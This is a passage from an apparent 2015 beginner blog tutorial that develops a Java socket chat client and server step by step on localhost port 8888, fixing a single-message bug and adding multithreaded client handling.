<span class="k">while</span> <span class="o">(</span><span class="n">started</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">Socket</span> <span class="n">s</span> <span class="o">=</span> <span class="n">ss</span><span class="o">.</span><span class="na">accept</span><span class="o">();</span>
<span class="nc">Client</span> <span class="n">c</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Client</span><span class="o">(</span><span class="n">s</span><span class="o">);</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"a client connected!"</span><span class="o">);</span>
<span class="k">new</span> <span class="nf">Thread</span><span class="o">(</span><span class="n">c</span><span class="o">).</span><span class="na">start</span><span class="o">();</span>
<span class="n">clients</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">c</span><span class="o">);</span>
<span class="c1">// dis.close();</span>
<span class="o">}</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span> <span class="k">finally</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="n">ss</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="c1">// TODO Auto-generated catch block</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="kd">class</span> <span class="nc">Client</span> <span class="kd">implements</span> <span class="nc">Runnable</span> <span class="o">{</span>
<span class="kd">private</span> <span class="nc">Socket</span> <span class="n">s</span><span class="o">;</span>
<span class="kd">private</span> <span class="nc">DataInputStream</span> <span class="n">dis</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
<span class="kd">private</span> <span class="nc">DataOutputStream</span> <span class="n">dos</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
<span class="kd">private</span> <span class="kt">boolean</span> <span class="n">bConnected</span> <span class="o">=</span> <span class="kc">false</span><span class="o">;</span>
<span class="kd">public</span> <span class="nf">Client</span><span class="o">(</span><span class="nc">Socket</span> <span class="n">s</span><span class="o">)</span> <span class="o">{</span>
<span class="k">this</span><span class="o">.</span><span class="na">s</span> <span class="o">=</span> <span class="n">s</span><span class="o">;</span>
<span class="k">try</span> <span class="o">{</span>
<span class="n">dis</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DataInputStream</span><span class="o">(</span><span class="n">s</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">());</span>
<span class="n">dos</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DataOutputStream</span><span class="o">(</span><span class="n">s</span><span class="o">.</span><span class="na">getOutputStream</span><span class="o">());</span>
<span class="n">bConnected</span> <span class="o">=</span> <span class="kc">true</span><span class="o">;</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">send</span><span class="o">(</span><span class="nc">String</span> <span class="n">str</span><span class="o">)</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="n">dos</span><span class="o">.</span><span class="na">writeUTF</span><span class="o">(</span><span class="n">str</span><span class="o">);</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="nd">@Override</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">run</span><span class="o">()</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="k">while</span> <span class="o">(</span><span class="n">bConnected</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">String</span> <span class="n">str</span> <span class="o">=</span> <span class="n">dis</span><span class="o">.</span><span class="na">readUTF</span><span class="o">();</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="n">str</span><span class="o">);</span>
<span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">clients</span><span class="o">.</span><span class="na">size</span><span class="o">();</span> <span class="n">i</span><span class="o">++)</span> <span class="o">{</span>
<span class="nc">Client</span> <span class="n">c</span> <span class="o">=</span> <span class="n">clients</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">i</span><span class="o">);</span>
<span class="n">c</span><span class="o">.</span><span class="na">send</span><span class="o">(</span><span class="n">str</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">EOFException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"Client closed!"</span><span class="o">);</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span> <span class="k">finally</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="k">if</span> <span class="o">(</span><span class="n">dis</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span>
<span class="n">dis</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
<span class="k">if</span> <span class="o">(</span><span class="n">dos</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span>
<span class="n">dos</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
<span class="k">if</span> <span class="o">(</span><span class="n">s</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span>
<span class="n">s</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e1</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e1</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span></code></pre></figure>
<p>#END</p>
ChatProject---2
2015-04-27T00:00:00+00:00
http://fish267.github.io/2015/04/27/ChatProject2
<p>###6. ChatClient send message to ChatServer.</p>
<p>In this version, we try to make the communications between chatclient and chatserver.</p>
<p><b>ChatClient</b></p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="kn">package</span> <span class="nn">Chat</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.DataOutputStream</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.IOException</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.net.*</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.awt.*</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.awt.event.*</span><span class="o">;</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">ChatClient</span> <span class="kd">extends</span> <span class="nc">Frame</span> <span class="o">{</span>
<span class="nc">TextField</span> <span class="n">tf</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">TextField</span><span class="o">();</span>
<span class="nc">TextArea</span> <span class="n">ta</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">TextArea</span><span class="o">();</span>
<span class="nc">Socket</span> <span class="n">s</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
<span class="k">new</span> <span class="nf">ChatClient</span><span class="o">().</span><span class="na">launchFrame</span><span class="o">();</span>
<span class="o">}</span>
<span class="kd">private</span> <span class="kt">void</span> <span class="nf">launchFrame</span><span class="o">()</span> <span class="o">{</span>
<span class="k">this</span><span class="o">.</span><span class="na">setLocation</span><span class="o">(</span><span class="mi">300</span><span class="o">,</span> <span class="mi">500</span><span class="o">);</span>
<span class="k">this</span><span class="o">.</span><span class="na">setSize</span><span class="o">(</span><span class="mi">300</span><span class="o">,</span> <span class="mi">300</span><span class="o">);</span>
<span class="k">this</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">tf</span><span class="o">,</span> <span class="nc">BorderLayout</span><span class="o">.</span><span class="na">SOUTH</span><span class="o">);</span>
<span class="k">this</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">ta</span><span class="o">,</span> <span class="nc">BorderLayout</span><span class="o">.</span><span class="na">NORTH</span><span class="o">);</span>
<span class="k">this</span><span class="o">.</span><span class="na">addWindowListener</span><span class="o">(</span><span class="k">new</span> <span class="nc">WindowAdapter</span><span class="o">()</span> <span class="o">{</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">windowClosing</span><span class="o">(</span><span class="nc">WindowEvent</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">System</span><span class="o">.</span><span class="na">exit</span><span class="o">(</span><span class="mi">0</span><span class="o">);</span>
<span class="o">;</span>
<span class="o">}</span>
<span class="o">});</span>
<span class="n">tf</span><span class="o">.</span><span class="na">addActionListener</span><span class="o">(</span><span class="k">new</span> <span class="nc">TFListener</span><span class="o">());</span>
<span class="k">this</span><span class="o">.</span><span class="na">pack</span><span class="o">();</span>
<span class="k">this</span><span class="o">.</span><span class="na">setVisible</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span>
<span class="n">connect</span><span class="o">();</span>
<span class="o">}</span>
<span class="kd">private</span> <span class="kt">void</span> <span class="nf">connect</span><span class="o">()</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="n">s</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Socket</span><span class="o">(</span><span class="s">"127.0.0.1"</span><span class="o">,</span> <span class="mi">8888</span><span class="o">);</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"Conencted to server!"</span><span class="o">);</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="kd">private</span> <span class="kd">class</span> <span class="nc">TFListener</span> <span class="kd">implements</span> <span class="nc">ActionListener</span> <span class="o">{</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">actionPerformed</span><span class="o">(</span><span class="nc">ActionEvent</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">String</span> <span class="n">str</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="na">getText</span><span class="o">().</span><span class="na">trim</span><span class="o">();</span>
<span class="n">ta</span><span class="o">.</span><span class="na">setText</span><span class="o">(</span><span class="n">str</span><span class="o">);</span>
<span class="n">tf</span><span class="o">.</span><span class="na">setText</span><span class="o">(</span><span class="s">""</span><span class="o">);</span>
<span class="c1">// Send message</span>
<span class="k">try</span> <span class="o">{</span>
<span class="nc">DataOutputStream</span> <span class="n">dos</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DataOutputStream</span><span class="o">(</span><span class="n">s</span><span class="o">.</span><span class="na">getOutputStream</span><span class="o">());</span>
<span class="n">dos</span><span class="o">.</span><span class="na">writeUTF</span><span class="o">(</span><span class="n">str</span><span class="o">);</span>
<span class="n">dos</span><span class="o">.</span><span class="na">flush</span><span class="o">();</span>
<span class="n">dos</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">ee</span><span class="o">)</span> <span class="o">{</span>
<span class="n">ee</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span></code></pre></figure>
<!--more-->
<hr />
<p><b>ChatServer.java</b></p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="kn">package</span> <span class="nn">Chat</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.net.*</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.DataInputStream</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.IOException</span><span class="o">;</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">ChatServer</span> <span class="o">{</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="nc">ServerSocket</span> <span class="n">ss</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ServerSocket</span><span class="o">(</span><span class="mi">8888</span><span class="o">);</span>
<span class="k">while</span> <span class="o">(</span><span class="kc">true</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">Socket</span> <span class="n">s</span> <span class="o">=</span> <span class="n">ss</span><span class="o">.</span><span class="na">accept</span><span class="o">();</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"A client has connected!"</span><span class="o">);</span>
<span class="nc">DataInputStream</span> <span class="n">dis</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DataInputStream</span><span class="o">(</span><span class="n">s</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">());</span>
<span class="nc">String</span> <span class="n">str</span> <span class="o">=</span> <span class="n">dis</span><span class="o">.</span><span class="na">readUTF</span><span class="o">();</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="n">str</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span></code></pre></figure>
<h3 id="7-send-more-message-to-chatserver">7. Send more message to chatserver.</h3>
<p>There is an obvious bug in version6.0 that the chatclient could only send one message toserver. Beacuse the ‘dos.close()’ locked the progress. In this version we manage to fix it.</p>
<p><b> ChatClient.java </b></p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="kn">package</span> <span class="nn">Chat</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.awt.*</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.awt.event.*</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.*</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.net.*</span><span class="o">;</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">ChatClient</span> <span class="kd">extends</span> <span class="nc">Frame</span> <span class="o">{</span>
<span class="nc">TextField</span> <span class="n">tf</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">TextField</span><span class="o">();</span>
<span class="nc">TextArea</span> <span class="n">ta</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">TextArea</span><span class="o">();</span>
<span class="nc">Socket</span> <span class="n">s</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
<span class="nc">DataOutputStream</span> <span class="n">dos</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
<span class="k">new</span> <span class="nf">ChatClient</span><span class="o">().</span><span class="na">launchFrame</span><span class="o">();</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">launchFrame</span><span class="o">()</span> <span class="o">{</span>
<span class="k">this</span><span class="o">.</span><span class="na">setLocation</span><span class="o">(</span><span class="mi">300</span><span class="o">,</span> <span class="mi">500</span><span class="o">);</span>
<span class="k">this</span><span class="o">.</span><span class="na">setSize</span><span class="o">(</span><span class="mi">300</span><span class="o">,</span> <span class="mi">300</span><span class="o">);</span>
<span class="k">this</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">tf</span><span class="o">,</span> <span class="nc">BorderLayout</span><span class="o">.</span><span class="na">SOUTH</span><span class="o">);</span>
<span class="k">this</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">ta</span><span class="o">,</span> <span class="nc">BorderLayout</span><span class="o">.</span><span class="na">NORTH</span><span class="o">);</span>
<span class="k">this</span><span class="o">.</span><span class="na">addWindowListener</span><span class="o">(</span><span class="k">new</span> <span class="nc">WindowAdapter</span><span class="o">()</span> <span class="o">{</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">windowClosing</span><span class="o">(</span><span class="nc">WindowEvent</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="n">disconnect</span><span class="o">();</span>
<span class="nc">System</span><span class="o">.</span><span class="na">exit</span><span class="o">(</span><span class="mi">0</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">});</span>
<span class="n">tf</span><span class="o">.</span><span class="na">addActionListener</span><span class="o">(</span><span class="k">new</span> <span class="nc">TFListener</span><span class="o">());</span>
<span class="k">this</span><span class="o">.</span><span class="na">pack</span><span class="o">();</span>
<span class="k">this</span><span class="o">.</span><span class="na">setVisible</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span>
<span class="n">connect</span><span class="o">();</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">connect</span><span class="o">()</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="n">s</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Socket</span><span class="o">(</span><span class="s">"127.0.0.1"</span><span class="o">,</span> <span class="mi">8888</span><span class="o">);</span>
<span class="n">dos</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DataOutputStream</span><span class="o">(</span><span class="n">s</span><span class="o">.</span><span class="na">getOutputStream</span><span class="o">());</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"Conencted to server!"</span><span class="o">);</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">UnknownHostException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">disconnect</span><span class="o">()</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="n">dos</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
<span class="n">s</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="kd">private</span> <span class="kd">class</span> <span class="nc">TFListener</span> <span class="kd">implements</span> <span class="nc">ActionListener</span> <span class="o">{</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">actionPerformed</span><span class="o">(</span><span class="nc">ActionEvent</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">String</span> <span class="n">str</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="na">getText</span><span class="o">().</span><span class="na">trim</span><span class="o">();</span>
<span class="n">ta</span><span class="o">.</span><span class="na">setText</span><span class="o">(</span><span class="n">str</span><span class="o">);</span>
<span class="n">tf</span><span class="o">.</span><span class="na">setText</span><span class="o">(</span><span class="s">""</span><span class="o">);</span>
<span class="c1">// Send message</span>
<span class="k">try</span> <span class="o">{</span>
<span class="n">dos</span><span class="o">.</span><span class="na">writeUTF</span><span class="o">(</span><span class="n">str</span><span class="o">);</span>
<span class="n">dos</span><span class="o">.</span><span class="na">flush</span><span class="o">();</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">ee</span><span class="o">)</span> <span class="o">{</span>
<span class="n">ee</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span></code></pre></figure>
<p><b>ChatServer.java </b></p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="kn">package</span> <span class="nn">Chat</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.net.*</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.DataInputStream</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.IOException</span><span class="o">;</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">ChatServer</span> <span class="o">{</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
<span class="kt">boolean</span> <span class="n">started</span> <span class="o">=</span> <span class="kc">false</span><span class="o">;</span>
<span class="nc">DataInputStream</span> <span class="n">dis</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
<span class="k">try</span> <span class="o">{</span>
<span class="nc">ServerSocket</span> <span class="n">ss</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ServerSocket</span><span class="o">(</span><span class="mi">8888</span><span class="o">);</span>
<span class="k">while</span> <span class="o">(</span><span class="kc">true</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">Socket</span> <span class="n">s</span> <span class="o">=</span> <span class="n">ss</span><span class="o">.</span><span class="na">accept</span><span class="o">();</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"A client has connected!"</span><span class="o">);</span>
<span class="n">started</span> <span class="o">=</span> <span class="kc">true</span><span class="o">;</span>
<span class="k">while</span> <span class="o">(</span><span class="n">started</span><span class="o">)</span> <span class="o">{</span>
<span class="n">dis</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DataInputStream</span><span class="o">(</span><span class="n">s</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">());</span>
<span class="nc">String</span> <span class="n">str</span> <span class="o">=</span> <span class="n">dis</span><span class="o">.</span><span class="na">readUTF</span><span class="o">();</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="n">str</span><span class="o">);</span>
<span class="o">}</span>
<span class="n">dis</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">BindException</span> <span class="n">e1</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"The port has been used !"</span><span class="o">);</span>
<span class="nc">System</span><span class="o">.</span><span class="na">exit</span><span class="o">(</span><span class="mi">0</span><span class="o">);</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span></code></pre></figure>
<h3 id="8-allow-one-more-client">8. Allow one more client.</h3>
<p>Finally we could talk to server via chatclient, some bugs such as “Closing windows causes exception” are omitted. It is a pitty that only one client is allowd to chat. In this version we gonna fix it based on multiThread.</p>
<p><b>ChatSever.java </b></p>
<figure class="highlight"><pre><code class="language-java" data-lang="java">
<span class="kn">package</span> <span class="nn">Chat</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.*</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.net.*</span><span class="o">;</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">ChatServer</span> <span class="o">{</span>
<span class="kt">boolean</span> <span class="n">started</span> <span class="o">=</span> <span class="kc">false</span><span class="o">;</span>
<span class="nc">ServerSocket</span> <span class="n">ss</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
<span class="k">new</span> <span class="nf">ChatServer</span><span class="o">().</span><span class="na">start</span><span class="o">();</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">start</span><span class="o">()</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="n">ss</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ServerSocket</span><span class="o">(</span><span class="mi">8888</span><span class="o">);</span>
<span class="n">started</span> <span class="o">=</span> <span class="kc">true</span><span class="o">;</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">BindException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"端口使用中...."</span><span class="o">);</span>
<span class="nc">System</span><span class="o">.</span><span class="na">exit</span><span class="o">(</span><span class="mi">0</span><span class="o">);</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="k">try</span> <span class="o">{</span>
<span class="k">while</span> <span class="o">(</span><span class="n">started</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">Socket</span> <span class="n">s</span> <span class="o">=</span> <span class="n">ss</span><span class="o">.</span><span class="na">accept</span><span class="o">();</span>
<span class="nc">Client</span> <span class="n">c</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Client</span><span class="o">(</span><span class="n">s</span><span class="o">);</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"a client connected!"</span><span class="o">);</span>
<span class="k">new</span> <span class="nf">Thread</span><span class="o">(</span><span class="n">c</span><span class="o">).</span><span class="na">start</span><span class="o">();</span>
<span class="c1">// dis.close();</span>
<span class="o">}</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span> <span class="k">finally</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="n">ss</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="c1">// TODO Auto-generated catch block</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="kd">class</span> <span class="nc">Client</span> <span class="kd">implements</span> <span class="nc">Runnable</span> <span class="o">{</span>
<span class="kd">private</span> <span class="nc">Socket</span> <span class="n">s</span><span class="o">;</span>
<span class="kd">private</span> <span class="nc">DataInputStream</span> <span class="n">dis</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
<span class="kd">private</span> <span class="kt">boolean</span> <span class="n">bConnected</span> <span class="o">=</span> <span class="kc">false</span><span class="o">;</span>
<span class="kd">public</span> <span class="nf">Client</span><span class="o">(</span><span class="nc">Socket</span> <span class="n">s</span><span class="o">)</span> <span class="o">{</span>
<span class="k">this</span><span class="o">.</span><span class="na">s</span> <span class="o">=</span> <span class="n">s</span><span class="o">;</span>
<span class="k">try</span> <span class="o">{</span>
<span class="n">dis</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DataInputStream</span><span class="o">(</span><span class="n">s</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">());</span>
<span class="n">bConnected</span> <span class="o">=</span> <span class="kc">true</span><span class="o">;</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="c1">// TODO Auto-generated catch block</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">run</span><span class="o">()</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
